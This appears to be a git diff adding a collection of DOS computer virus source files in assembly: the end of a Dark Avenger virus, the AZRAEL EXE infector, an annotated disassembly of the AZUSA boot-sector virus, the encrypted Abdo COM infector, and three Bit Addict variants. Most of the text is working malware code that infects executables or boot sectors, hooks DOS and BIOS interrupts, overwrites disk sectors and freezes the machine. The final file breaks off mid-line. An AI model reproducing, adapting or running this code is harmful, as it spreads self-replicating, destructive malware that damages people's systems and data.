[top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, which +contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end diff --git a/a/AZRAEL.asm b/a/AZRAEL.asm new file mode 100755 index 0000000..b2e1e5f --- /dev/null +++ b/a/AZRAEL.asm @@ -0,0 +1,275 @@ +start: +call delta +delta: +pop bp +sub bp,offset delta + +mov ax,0faceh +push ax +pop ax +cli +dec sp +dec sp +sti +pop bx +cmp bx,ax +je its_ok + +mov ax,4c00h +int 21h + +its_ok: +mov word ptr[bp+saved_ds],ds + +push cs +push cs +pop ds +pop es + +lea si,[bp+old_ip] +lea di,[bp+original_ip] +mov cx,4 +rep movsw + +mov ah,1ah +lea dx,[bp+ende] +int 21h + +mov ah,4eh +lea dx,[bp+file_spec] +mov cx,7 +find_next: +int 21h +jc before_restore + +mov ax,4300h +lea dx,[bp+ende+1eh] +int 21h + +mov word ptr[bp+attribs],cx + +mov ax,4301h +xor cx,cx +lea dx,[bp+ende+1eh] +int 21h + +lea dx,[bp+ende+1eh] +call open + +mov bx,ax + +mov ax,5700h +int 21h +mov word ptr[bp+time],cx +mov word ptr[bp+date],dx + +mov cx,1ah +lea dx,[bp+exe_header] +call read + +cmp word ptr [bp+exe_header],'ZM' +je check_infected +cmp word ptr [bp+exe_header],'MZ' +je check_infected +jmp close + +check_infected: +cmp word ptr [bp+exe_header+12h],'V' +je close + +call save_exe_header + +mov al,02 +call seek + +mov word ptr[bp+file_size_ax],ax +mov word ptr[bp+file_size_dx],dx + +call calculate_new_cs_ip + +mov ax,word ptr[bp+file_size_ax] +mov dx,word ptr[bp+file_size_dx] + +call calculate_new_size + +push byte ptr [bp+counter] +mov byte ptr[bp+counter],0 + +jmp goon + +before_restore: +jmp restore + +goon: +mov cx,ende-start +lea dx,[bp+start] +call write + +pop byte ptr [bp+counter] + +mov al,0 +call seek + +mov cx,1ah +lea dx,[bp+exe_header] +call write + +inc byte ptr[bp+counter] + + + +close: + +mov ax,5701h +mov cx,word ptr[bp+time] +mov dx,word ptr[bp+date] +int 21h + +mov ah,3eh +int 21h + +mov ax,4301h +lea dx,[bp+ende+1eh] +mov cx,word ptr[bp+attribs] +int 21h + + +cmp byte ptr[bp+counter],3 +je restore + + +mov ah,4fh +jmp find_next + + + +restore: + +mov ax,word ptr[bp+saved_ds] +mov ds,ax + +mov ah,1ah +mov dx,80h +int 21h + +push ds +pop es + + mov ax,es + add ax,10h ;add ajustment for PSP + + add word ptr cs:[original_CS+bp],ax ;Adjust old CS by + ;current seg + cli + add ax,word ptr cs:[bp+original_SS] ;Adjust old SS + mov ss,ax ;Restore stack to + mov sp,word ptr cs:[bp+original_SP] ;original position + sti + + +db 0eah +original_ip dw ? +original_cs dw ? +original_sp dw ? +original_ss dw ? + + ;*****************; + ; SUB - FUNCTIONS ; + ;*****************; +save_exe_header: +push word ptr[bp+exe_header+0eh] +pop word ptr[bp+old_ss] +push word ptr[bp+exe_header+10h] +pop word ptr[bp+old_sp] +push word ptr[bp+exe_header+14h] +pop word ptr[bp+old_ip] +push word ptr[bp+exe_header+16h] +pop word ptr[bp+old_cs] +ret + +calculate_new_cs_ip: + mov ax,word ptr [exe_header+bp+8] ;Get header length + mov cl,4 ;and convert it to + shl ax,cl ;bytes. + mov cx,ax + mov ax,word ptr[bp+file_size_ax] + + sub ax,cx ;Subtract header + sbb dx,0 ;size from file + ;size for memory + ;adjustments + + mov cl,0ch ;Convert DX into + shl dx,cl ;segment Address + mov cl,4 + push ax ;Change offset (AX) into + shr ax,cl ;segment, except for last + add dx,ax ;digit. Add to DX and + shl ax,cl ;save DX as new CS, put + pop cx ;left over into CX and + sub cx,ax ;store as the new IP. + mov word ptr [exe_header+bp+14h],cx + mov word ptr [exe_header+bp+16h],dx ;Set new CS:IP + mov word ptr [exe_header+bp+0eh],dx ;Set new SS = CS + mov word ptr [exe_header+bp+10h],0fffe ;Set new SP + mov byte ptr [exe_header+bp+12h],'V' ;mark infection +ret + +calculate_new_size: + add ax,ende-start ;Add virus size to DX:AX + adc dx,0 + + mov cl,7 + shl dx,cl ;convert DX to pages + mov cl,9 + shr ax,cl + add ax,dx + inc ax + mov word ptr [exe_header+bp+04],ax ;save # of pages + + mov ax,word ptr[bp+file_size_ax] + + mov dx,ax + shr ax,cl ;Calc remainder + shl ax,cl ;in last page + sub dx,ax + mov word ptr [exe_header+bp+02],dx ;save remainder +ret + +seek: +mov ah,42h +xor cx,cx +xor dx,dx +int 21h +ret + +read: +mov ah,3fh +int 21h +ret + +write: +mov ah,40h +int 21h +ret + +open: +mov ax,3d02h +int 21h +ret + +saved_ds dw ? +exe_header db 1ah dup(?) +old_ip dw 0 +old_cs dw 0fff0h +old_sp dw 0 +old_ss dw 0fff0h +file_spec db '*.exe',0 +file_size_ax dw ? +file_size_dx dw ? +attribs dw ? +time dw ? +date dw ? +counter db 0 +copyright db 'AZRAEL / Copyright by Spo0ky / Austria 1997',0 +ende: diff --git a/a/AZUSA.ASM b/a/AZUSA.ASM new file mode 100755 index 0000000..67833b4 --- /dev/null +++ b/a/AZUSA.ASM @@ -0,0 +1,284 @@ + +; AZUSA virus +; +; Discovered an commented by Ferenc Leitold +; Hungarian VirusBuster Team +; Address: 1399 Budapest +; P.O. box 701/349 +; HUNGARY + + + +217D:0100 E98B00 JMP 018E ; Jump to main entry point +217D:0103 50 PUSH AX +217D:0104 43 INC BX +217D:0105 20546F AND [SI+6F],DL +217D:0108 6F OUTSW +217D:0109 6C INSB +217D:010A 73 + + ; INT13 entry point +217D:010B F6C402 TEST AH,02 +217D:010E 745B JZ 016B +217D:0110 F6C280 TEST DL,80 +217D:0113 7556 JNZ 016B ; Jump, if hard disk +217D:0115 50 PUSH AX +217D:0116 1E PUSH DS +217D:0117 31C0 XOR AX,AX +217D:0119 8ED8 MOV DS,AX +217D:011B 88D0 MOV AL,DL +217D:011D FEC0 INC AL +217D:011F 84063F04 TEST [043F],AL ; test diskette is work +217D:0123 7544 JNZ 0169 + +217D:0125 53 PUSH BX ; Save registers +217D:0126 51 PUSH CX +217D:0127 52 PUSH DX +217D:0128 06 PUSH ES +217D:0129 57 PUSH DI +217D:012A 56 PUSH SI + +217D:012B B80102 MOV AX,0201 ; Load boot sector of disk +217D:012E 0E PUSH CS +217D:012F 07 POP ES +217D:0130 BB0002 MOV BX,0200 +217D:0133 B90100 MOV CX,0001 +217D:0136 B600 MOV DH,00 +217D:0138 E83500 CALL 0170 +217D:013B 7226 JC 0163 ; jump, if error + +217D:013D 0E PUSH CS +217D:013E 1F POP DS +217D:013F A18902 MOV AX,[0289] ; Check if infected yet ? +217D:0142 3B068900 CMP AX,[0089] +217D:0146 741B JZ 0163 ; Jump, if infected + +217D:0148 B80103 MOV AX,0301 ; Write orig. boot sector +217D:014B B90827 MOV CX,2708 ; cyl.: 39 sect.: 8 +217D:014E B601 MOV DH,01 ; head: 1 +217D:0150 E81D00 CALL 0170 ; Call INT13 (write) +217D:0153 720E JC 0163 +217D:0155 E81F00 CALL 0177 ; Copy parameters +217D:0158 B80103 MOV AX,0301 ; Write virus body +217D:015B 31DB XOR BX,BX +217D:015D 41 INC CX ; CX will 1 (CALL 0177) +217D:015E B600 MOV DH,00 ; head: 0 +217D:0160 E80D00 CALL 0170 ; Call INT13 (write) + +217D:0163 5E POP SI ; Restore registers +217D:0164 5F POP DI +217D:0165 07 POP ES +217D:0166 5A POP DX +217D:0167 59 POP CX +217D:0168 5B POP BX + +217D:0169 1F POP DS +217D:016A 58 POP AX + +217D:016B EAEBA100F0 JMP F000:A1EB ; Jump to orig. INT13 + +217D:0170 9C PUSHF ; Call orig. INT13 +217D:0171 2EFF1E6C00 CALL Far CS:[006C] +217D:0176 C3 RET + +217D:0177 BE0302 MOV SI,0203 ; Copy diskette par. area +217D:017A BF0300 MOV DI,0003 +217D:017D B90800 MOV CX,0008 +217D:0180 FC CLD +217D:0181 F3A4 REP MOVSB + +217D:0183 BE7003 MOV SI,0370 ; Copy parttition info. +217D:0186 BF7001 MOV DI,0170 +217D:0189 B190 MOV CL,90 +217D:018B F3A4 REP MOVSB +217D:018D C3 RET + + +;*************************** Main entry point ************************* + +217D:018E 31C0 XOR AX,AX ; Set STACK and DS +217D:0190 8ED8 MOV DS,AX +217D:0192 8ED0 MOV SS,AX +217D:0194 BC007C MOV SP,7C00 + +217D:0197 A14C00 MOV AX,[004C] ; Save INT13 vector +217D:019A A36C7C MOV [7C6C],AX +217D:019D A14E00 MOV AX,[004E] +217D:01A0 A36E7C MOV [7C6E],AX + +217D:01A3 A11304 MOV AX,[0413] ; Decrease memory by 1KB +217D:01A6 48 DEC AX +217D:01A7 A31304 MOV [0413],AX + +217D:01AA B106 MOV CL,06 ; Calculate segment at TOP +217D:01AC D3E0 SHL AX,CL +217D:01AE 8EC0 MOV ES,AX + +217D:01B0 C7064C000B00 MOV [004C],000B ; Set new INT13 vector +217D:01B6 A34E00 MOV [004E],AX + +217D:01B9 B90002 MOV CX,0200 ; Copy itself to TOP +217D:01BC BE007C MOV SI,7C00 +217D:01BF 31FF XOR DI,DI +217D:01C1 FC CLD +217D:01C2 F3A4 REP MOVSB + +217D:01C4 50 PUSH AX ; Jump to TOP +217D:01C5 B8CA00 MOV AX,00CA +217D:01C8 50 PUSH AX +217D:01C9 CB RET Far + + + TOP:01CA 31C0 XOR AX,AX ; Reset drive + TOP:01CC CD13 INT 13 + + TOP:01CE 31C0 XOR AX,AX + TOP:01D0 8EC0 MOV ES,AX + TOP:01D2 B80102 MOV AX,0201 + TOP:01D5 BB007C MOV BX,7C00 + TOP:01D8 0E PUSH CS + TOP:01D9 1F POP DS + TOP:01DA E83F00 CALL 021C ; Set CX & DX as the info + ; of boot partition + TOP:01DD F6C1FF TEST CL,FF ; Check if it is floppy + TOP:01E0 7408 JZ 01EA ; Jump, if it is + TOP:01E2 E85100 CALL 0236 + TOP:01E5 EA007C0000 JMP 0000:7C00 ; Jump to boot + + + ; If floppy disk + TOP:01EA B90827 MOV CX,2708 ; load original boot + TOP:01ED BA0001 MOV DX,0100 + TOP:01F0 CD13 INT 13 + TOP:01F2 72F1 JC 01E5 ; jump, if error + + TOP:01F4 0E PUSH CS + TOP:01F5 07 POP ES + + TOP:01F6 B80102 MOV AX,0201 ; Load partition table of + TOP:01F9 BB0002 MOV BX,0200 ; hard disk + TOP:01FC B90100 MOV CX,0001 + TOP:01FF BA8000 MOV DX,0080 + TOP:0202 CD13 INT 13 + TOP:0204 72DF JC 01E5 + + TOP:0206 A18902 MOV AX,[0289] ; Check, if infected yet ? + TOP:0209 39068900 CMP [0089],AX + TOP:020D 74D6 JZ 01E5 ; jump to boot, if it is + + TOP:020F E865FF CALL 0177 ; Copy parameter area + TOP:0212 B80103 MOV AX,0301 ; Save virus as part. table + TOP:0215 31DB XOR BX,BX + TOP:0217 41 INC CX + TOP:0218 CD13 INT 13 + TOP:021A EBC9 JMP 01E5 + + TOP:021C BEBE01 MOV SI,01BE ; Find boot partition + TOP:021F B90400 MOV CX,0004 ; in partition table + TOP:0222 803C80 CMP [SI],80 + TOP:0225 7407 JZ 022E + TOP:0227 83C610 ADD SI,0010 + TOP:022A E2F6 LOOP 0222 + TOP:022C EB07 JMP 0235 ; If not found set CL=FF + TOP:022E 8B4C02 MOV CX,[SI+02] ; If found, load it + TOP:0231 8B14 MOV DX,[SI] + TOP:0233 CD13 INT 13 + TOP:0235 C3 RET + + TOP:0236 F6066F01E0 TEST [016F],E0 ; Test counter + TOP:023B 7515 JNZ 0252 + TOP:023D 80066F0101 ADD [016F],01 ; increase counter + TOP:0242 B80103 MOV AX,0301 ; save virus body + TOP:0245 0E PUSH CS ; with increased counter + TOP:0246 07 POP ES + TOP:0247 31DB XOR BX,BX + TOP:0249 B90100 MOV CX,0001 + TOP:024C B600 MOV DH,00 + TOP:024E CD13 INT 13 + TOP:0250 EB0E JMP 0260 + + TOP:0252 31C0 XOR AX,AX + TOP:0254 8ED8 MOV DS,AX + TOP:0256 C606080400 MOV [0408],00 ; Corrupt LPT1 port + TOP:025B C606000400 MOV [0400],00 ; Coruupt COM1 port + TOP:0260 0E PUSH CS + TOP:0261 1F POP DS + TOP:0262 C6066F0100 MOV [016F],00 ; Reset counter (in memory) + TOP:0267 C6065A0100 MOV [015A],00 ; Zero LPT1 port corrupt par. + TOP:026C C3 RET + + TOP:026D 0000 ADD [BX+SI],AL + + TOP:026F 00 db 0 ; counter + + TOP:0270 000000 + TOP:0273 0000 ADD [BX+SI],AL + TOP:0275 0000 ADD [BX+SI],AL + TOP:0277 0000 ADD [BX+SI],AL + TOP:0279 0000 ADD [BX+SI],AL + TOP:027B 0000 ADD [BX+SI],AL + TOP:027D 0000 ADD [BX+SI],AL + TOP:027F 0000 ADD [BX+SI],AL + TOP:0281 0000 ADD [BX+SI],AL + TOP:0283 0000 ADD [BX+SI],AL + TOP:0285 0000 ADD [BX+SI],AL + TOP:0287 0000 ADD [BX+SI],AL + TOP:0289 0000 ADD [BX+SI],AL + TOP:028B 0000 ADD [BX+SI],AL + TOP:028D 0000 ADD [BX+SI],AL + TOP:028F 0000 ADD [BX+SI],AL + TOP:0291 0000 ADD [BX+SI],AL + TOP:0293 0000 ADD [BX+SI],AL + TOP:0295 0000 ADD [BX+SI],AL + TOP:0297 0000 ADD [BX+SI],AL + TOP:0299 0000 ADD [BX+SI],AL + TOP:029B 0000 ADD [BX+SI],AL + TOP:029D 0000 ADD [BX+SI],AL + TOP:029F 0000 ADD [BX+SI],AL + TOP:02A1 0000 ADD [BX+SI],AL + TOP:02A3 0000 ADD [BX+SI],AL + TOP:02A5 0000 ADD [BX+SI],AL + TOP:02A7 0000 ADD [BX+SI],AL + TOP:02A9 0000 ADD [BX+SI],AL + TOP:02AB 0000 ADD [BX+SI],AL + TOP:02AD 0000 ADD [BX+SI],AL + TOP:02AF 0000 ADD [BX+SI],AL + TOP:02B1 0000 ADD [BX+SI],AL + TOP:02B3 0000 ADD [BX+SI],AL + TOP:02B5 0000 ADD [BX+SI],AL + TOP:02B7 0000 ADD [BX+SI],AL + TOP:02B9 0000 ADD [BX+SI],AL + TOP:02BB 0000 ADD [BX+SI],AL + TOP:02BD 0000 ADD [BX+SI],AL + TOP:02BF 0000 ADD [BX+SI],AL + TOP:02C1 0000 ADD [BX+SI],AL + TOP:02C3 0000 ADD [BX+SI],AL + TOP:02C5 0000 ADD [BX+SI],AL + TOP:02C7 0000 ADD [BX+SI],AL + TOP:02C9 0000 ADD [BX+SI],AL + TOP:02CB 0000 ADD [BX+SI],AL + TOP:02CD 0000 ADD [BX+SI],AL + TOP:02CF 0000 ADD [BX+SI],AL + TOP:02D1 0000 ADD [BX+SI],AL + TOP:02D3 0000 ADD [BX+SI],AL + TOP:02D5 0000 ADD [BX+SI],AL + TOP:02D7 0000 ADD [BX+SI],AL + TOP:02D9 0000 ADD [BX+SI],AL + TOP:02DB 0000 ADD [BX+SI],AL + TOP:02DD 0000 ADD [BX+SI],AL + TOP:02DF 0000 ADD [BX+SI],AL + TOP:02E1 0000 ADD [BX+SI],AL + TOP:02E3 0000 ADD [BX+SI],AL + TOP:02E5 0000 ADD [BX+SI],AL + TOP:02E7 0000 ADD [BX+SI],AL + TOP:02E9 0000 ADD [BX+SI],AL + TOP:02EB 0000 ADD [BX+SI],AL + TOP:02ED 0000 ADD [BX+SI],AL + TOP:02EF 0000 ADD [BX+SI],AL + TOP:02F1 0000 ADD [BX+SI],AL + TOP:02F3 0000 ADD [BX+SI],AL + TOP:02F5 0000 ADD [BX+SI],AL + TOP:02F7 0000 ADD [BX+SI],AL + TOP:02F9 0000 ADD [BX+SI],AL + TOP:02FB 0000 ADD [BX+SI],AL + TOP:02FD 0055AA ADD [DI-56],DL diff --git a/a/Abdo.asm b/a/Abdo.asm new file mode 100755 index 0000000..658253f --- /dev/null +++ b/a/Abdo.asm @@ -0,0 +1,180 @@ +; NAME: Abdo.com +; AUTHOR: Sea4 +; SIZE: 310 bytes +; ENCRYPTION: Yep +; STEALTH: Nope +; ROI: All files in current DIR +; DT: Nope + +; Here is an interesting concept in encryption. Brought to my attention by +; Aperson. The virus will use the host programs own bytes to XOR against. Its +; very interesting because there is no way to tell what the host will have +; as its values, so the encryption could almost be considered random. Upon +; infection, the father virus will read from the victim file enough bytes to +; cover the encrypted area. It will then, XOR each virus byte against each +; host byte and keep the results in the buffer. It will then write those new +; bytes to the victim. Upon startup of the victim it will call the Decryption +; with a pointer (BX) to the bytes to use as Decryptors. Of course this has +; a flaw if the host program decides to change its own bytes, though highly +; uncommon among normal progges. Enjoy! + +Start: +jmp V_start ; Jump to start of virus + +V_start: ; delta offset stuff +call Delta +Delta: +pop bp +sub bp,offset delta + +SkipDec: ; Call decryption +jmp Ende +; mov cx,Crypto-Hidden +lea si,[bp+Hidden] +mov di,si +mov bx,103h +Call Crypto + +Hidden: + +mov di,100h ; Restore first 3 bytes +lea si,[bp+saved] +mov cx,3 +rep movsb + +mov ah,4Eh ; Find first/next com files +FindNext: +xor cx,cx +lea dx,[bp+FileMask] +int 21h + +jnc Open ; Found one, open it +jmp Exit ; Didn't find any, return to progge + +Close: +jmp ShutFile + +Open: +mov ax,3D02h ; Open file +lea dx,9Eh +int 21h + +xchg bx,ax ; File handle into BX + +mov ah,3Fh ; Read first bytes into buffer +lea dx,[bp+saved] +mov cx,3 +int 21h + +xor ax,ax +cmp ax,[80h+1Ch] +jnz Close + +mov ax,[80h+1Ah] + +cmp ax,0F000h ; Infection criteria +jnc Close ; No files > 61440d bytes +cmp ax,400h ; None < 1024d bytes +jc Close + +sub ax,3 ; Makes account for the JMP +sub ax,Ende-V_start ; Subtracts the length of virus + +cmp ax,[bp+saved+1] ; If the file jumps to AX then it must be + ; infected with this virus, or its very lucky +je Close ; Close it up if its already infected + +mov ax,[80h+1Ah] ; Set new JMP destination +sub ax,3 ; Subtracts the JMP length +mov [bp+jumpto],ax ; Puts the jumpto location in its buffer + +mov ax,4200h ; Return file pointer to beginning of file +xor dx,dx +xor cx,cx +int 21h + +mov ah,40h ; Writes the new JMP +mov cx,3 +lea dx,[bp+jumping] +int 21h + +XorValues EQU Crypto-Hidden+Buffer + +mov ah,3Fh ; Read from File to get XORvalues +lea dx,[bp+xorvalues] ; The file pointer is already at 00:03h + ; now we just need to put the bytes in a buffer +mov cx,Crypto-Hidden ; Length of Bytes to get ( Same length as hidden + ; area, because thats all we need. ) +int 21h ; Tells DOS to fetch some bytes + +mov ax,4202h ; Move File pointer to end of progge +xor cx,cx +xor dx,dx +int 21h + +mov ah,40h ; Write Call decryption routines +lea dx,[bp+v_start] +mov cx,Hidden-V_start +int 21h + +lea di,[bp+buffer] ; Call encryption of Hidden area +lea si,[bp+hidden] +mov cx,Crypto-Hidden +push cx ; Saves CX for the write +push bx ; Saves BX because it is the file handle +lea bx,[bp+xorvalues] ; Place where victim file's bytes have been put +call Crypto ; Calls the encryption routine +pop bx ; Retrieves the file handle for the Write + +mov ah,40h ; Write encrypted area to file +pop cx +lea dx,[bp+buffer] +int 21h + +lea dx,[bp+crypto] ; Write encryption routine to victim +mov cx,Ende-Crypto +mov ah,40h +int 21h + +ShutFile: ; Close victim and search for next +mov ah,3Eh +int 21h +mov ax,4F00h +jmp FindNext + +Exit: +push 100h +ret + +FileMask db '*.com',0 +VirusName db '[Abdo]',0 +Author db 'Sea4, CodeBreakers',0 +message db 'Concept by: Aperson of the CodeBreakers!' + +Saved db 0CDh,020h,090h +Jumping db 0E9h +jumpto db 0h,0h + +Crypto: +EncLoop: +lodsb ; Takes the byte from [SI] +mov dl,[bx] ; Gets the next byte of host file +xor al,dl ; XORs the 2 bytes, and saves them in AL +inc bx ; Moves to next byte +stosb ; Places the byte back in [DI] +loop EncLoop ; Does 'em all +ret ; Return to calling routine + +Buffer: + +Ende: +lea di,SkipDec +lea si,NewBytes + +mov cx,3 +rep movsb +jmp Hidden + +NewBytes: +mov cx,Crypto-Hidden +Finish: diff --git a/a/Addict1.asm b/a/Addict1.asm new file mode 100755 index 0000000..869f9c3 --- /dev/null +++ b/a/Addict1.asm @@ -0,0 +1,191 @@ +code segment + org 0 + + call Virus + +SavedCode db 0cdh,020h,11 dup(090h) + +Jump db 0e9h +NearOfset dw 0 + +ID db 'BIT ADDICT' +ExeHead db 'MZ' + +SaveInt21 equ this word +OldInt21 dd 0 +Teller db 0 +Message db 'The Bit Addict says: ',13,10 + db '"You have a good taste for hard disks, it was delicious !!!"' + db 13,10,'$' + +NewInt21: + cmp ah,4bh + je Exec + jmp cs:OldInt21 +Exec: cmp cs:Teller,100 + jb Infect + + mov ax,2 + xor bx,bx + mov cx,100 + xor dx,dx + int 026h + mov ax,3 + xor bx,bx + mov cx,100 + xor dx,dx + int 026h + + mov ax,cs + mov ds,ax + mov ah,9 + lea dx,Message + int 021h + +HangUp: cli + jmp HangUp + +Infect: push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push dx + mov ax,04300h + int 021h + push cx + mov ax,04301h + xor cx,cx + int 021h + mov ax,03d02h + int 021h + jnc OK1 + jmp Error +Ok1: mov bx,ax + mov ax,05700h + int 021h + push cx + push dx + mov ax,cs + mov ds,ax + mov es,ax + mov ax,03f00h + mov cx,13 + lea dx,SavedCode + int 021h + jc Close + lea si,ID + lea di,SavedCode[3] + mov cx,10 + repe cmpsb + je Close + lea si,ExeHead + lea di,SavedCode + mov cx,2 + repe cmpsb + je Close +Com: mov ax,04202h + xor cx,cx + xor dx,dx + int 021h + jc Close + or dx,dx + jne Close + sub ax,3 + jb Close + mov NearOfset,ax + mov ax,04000h + mov cx,CodeSize + xor dx,dx + int 021h + jc Close + mov ax,04200h + xor cx,cx + xor dx,dx + int 021h + jc Close + mov ax,04000h + mov cx,13 + lea dx,Jump + int 021h + inc cs:Teller +Close: pop dx + pop cx + mov ax,05701h + int 021h + mov ax,03e00h + int 021h +Error: pop cx + pop dx + pop es + pop ds + push ds + push es + mov ax,04301h + int 021h + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp cs:OldInt21 + +Virus: pop bx + sub bx,3 + xor ax,ax + mov ds,ax + cmp w[021h*4+2],0a000h + jae Exit + mov dx,03bfh + mov al,3 + out dx,al + mov ax,cs + mov ds,ax + mov ax,VirusSegment1 +Repeat: mov es,ax + mov si,bx + xor di,di + mov cx,CodeSize + repe movsb + mov si,bx + xor di,di + mov cx,CodeSize + repe cmpsb + je Ok2 + mov ax,VirusSegment2 + mov dx,es + cmp ax,dx + je Exit + jmp Repeat +Ok2: xor ax,ax + mov ds,ax + mov ax,ds:[84h] + mov es:SaveInt21[0],ax + mov ax,ds:[86h] + mov es:SaveInt21[2],ax + mov ax,NewInt21 + mov [84h],ax + mov ax,es + mov [86h],ax +Exit: mov ax,cs + mov ds,ax + mov es,ax + mov si,bx + add si,3 + mov di,0100h + mov cx,13 + rep movsb + mov ax,0100h + push ax + ret + +CodeSize equ $ +VirusSegment1 equ 0c000h-(($+0fh) shr 4) +VirusSegment2 equ 0bc00h-(($+0fh) shr 4) + \ No newline at end of file diff --git a/a/Addict2.asm b/a/Addict2.asm new file mode 100755 index 0000000..2d72df4 --- /dev/null +++ b/a/Addict2.asm @@ -0,0 +1,251 @@ +jmpc macro Dest + local Skip + + jnc Skip + jmp Dest +Skip: + endm + +jmpnc macro Dest + local Skip + + jc Skip + jmp Dest +Skip: + endm + +jmpe macro Dest + local Skip + + jnz Skip + jmp Dest +Skip: + endm + +jmpne macro Dest + local Skip + + jz Skip + jmp Dest +Skip: + endm + +code segment + assume cs:code,ds:code,es:code + org 0 + +ID db 'BIT ADDICT' +ID_Length equ $-offset ID + +SavedCode equ this byte +OldIP dw 0 +OldCS dw 0 +OldSP dw 0 +OldSS dw 0 + dw 0 + +Begin: mov ax,4c00h + int 21h + +ComHeader: + mov ax,cs + add ax,0100h +OldPrgSize equ this word-2 + push ax + xor ax,ax + push ax + retf + +Infect: push ax + push bx + push cx + push cx + push si + push di + push bp + push ds + push es + mov ax,3d02h + int 21h + jmpc Close + push cs + pop ds + push cs + pop es + mov bx,ax + mov ah,3fh + mov cx,HeaderLength + lea dx,Header + int 21h + jmpc Close + cmp ax,HeaderLength + jne ComFile + cmp Signature,5a4dh + je ComChk +ExeChk: mov ax,ExeCS + add ax,HeaderSize + mov dx,10h + mul dx + mov cx,dx + mov dx,ax + jmp Check +ComChk: xor cx,cx + mov dx,NearJump + sub dx,offset Begin-3 + jb ComFile +Check: mov ax,4200h + int 21h + mov ah,3fh + mov cx,ID_Length + lea dx,ID_Check + int 21h + lea si,ID_Check + lea di,ID + mov cx,ID_Length + repe cmpsb + jmpe Close + cmp Signature,5a4dh + je ExeFile +ComFile:mov si,offset Header + mov di,offset SavedCode + mov cx,0ah + rep movsb + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov cx,10h + div cx + or dx,dx + je Ok1 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + int 21h + pop ax + jc Close + inc ax +Ok1: add ax,10h + mov OldPrgSize,ax + mov ah,40h + mov cx,CodeSize1 + xor dx,dx + int 21h + jmpc Close + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + jmpc Close + mov ah,40h + mov cx,10 + mov dx,offset ComHeader + int 21h + jmp Close +ExeFile:mov ax,ExeIP + mov OldIP,ax + mov ax,ExeCS + mov OldCS,ax + mov ax,ExeSP + mov OldSP,ax + mov ax,ExeSS + mov OldSS,ax + mov ax,PageCount + dec ax + mov cx,200h + mul cx + add ax,PartPage + adc dx,0 + mov cx,dx + mov dx,ax + mov ax,4200h + int 21h + mov cx,10h + div cx + or dx,dx + je Ok2 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + int 21h + pop ax + jc Close + inc ax +Ok2: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,CodeSizePara2 + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+CodeSizePara2-CodeSizePara1 + jae Ok3 + mov ax,20h +Ok3: mov MinMem,ax + mov ax,PartPage + add ax,offset CodeSize2 + xor dx,dx + mov cx,200h + div cx + add PageCount,ax + mov PartPage,dx + mov ah,40h + mov cx,offset CodeSize1 + xor dx,dx + int 21h + jc Close + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + jc Close + mov ah,40h + mov cx,HeaderLength + mov dx,offset Header + int 21h +Close: mov ah,3eh + int 21h + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + iret + +CodeSize1 equ $ +CodeSizePara1 equ ($+0fh) / 4 + +Header dw 14h dup(?) +NearJump equ Header[1h] ; Com file + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +ReloCount equ Header[6h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ChkSum equ Header[12h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] +TablOfs equ Header[18h] +OverlayNr equ Header[1ah] +HeaderLength equ 1ch + +ID_Check db ID_Length dup(?) + +CodeSize2 equ $ +CodeSizePara2 equ ($+0fh) shr 4 + +code ends + +end diff --git a/a/Addict3.asm b/a/Addict3.asm new file mode 100755 index 0000000..ea48d3f --- /dev/null +++ b/a/Addict3.asm @@ -0,0 +1,265 @@ +code segment + assume cs:code,ds:code,es:code + + org 0 + +Size2 equ Virus-Relocate + + mov cx,Size2 + mov ax,word ptr ds:[101h] + call Virus + +Relocate: + cmp byte ptr ds:[103h],100 + jb InstallVirus + + xor dx,dx +Repeat: push dx + mov ax,2 + xor bx,bx + mov cx,100 + int 26h + pop ax + pop dx + add dx,100 + jnc Repeat + + cli +Hangup: jmp Hangup + +InstallVirus: + mov ax,04b41h + int 21h + mov ds,ax + pop ax + sub ax,offset Relocate + xor si,si + mov di,ax + mov cx,offset Size1 + cld + repe cmpsb + je Exit + push ax + mov ah,52h + int 21h + push bx + mov ah,30h + int 21h + pop di + pop bx + cmp al,2 + jb Exit + cmp al,3 + adc di,12h + call GetBuffer + mov cs:DataBuffer[bx],ax + call GetBuffer + mov es,ax + push cs + pop ds + mov si,bx + xor di,di + mov cx,offset Size1 + cld + rep movsb + xor ax,ax + mov ds,ax + mov ax,ds:[84h] + mov es:word ptr OldInt21[0],ax + mov ax,ds:[86h] + mov es:word ptr OldInt21[2],ax + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + push cs + pop ds + push bx + mov ax,4b40h + lea dx,Command[bx] + int 21h + pop bx +Exit: push cs + pop es + push cs + pop ds + lea si,SavedCode[bx] + mov di,0100h + push di + mov 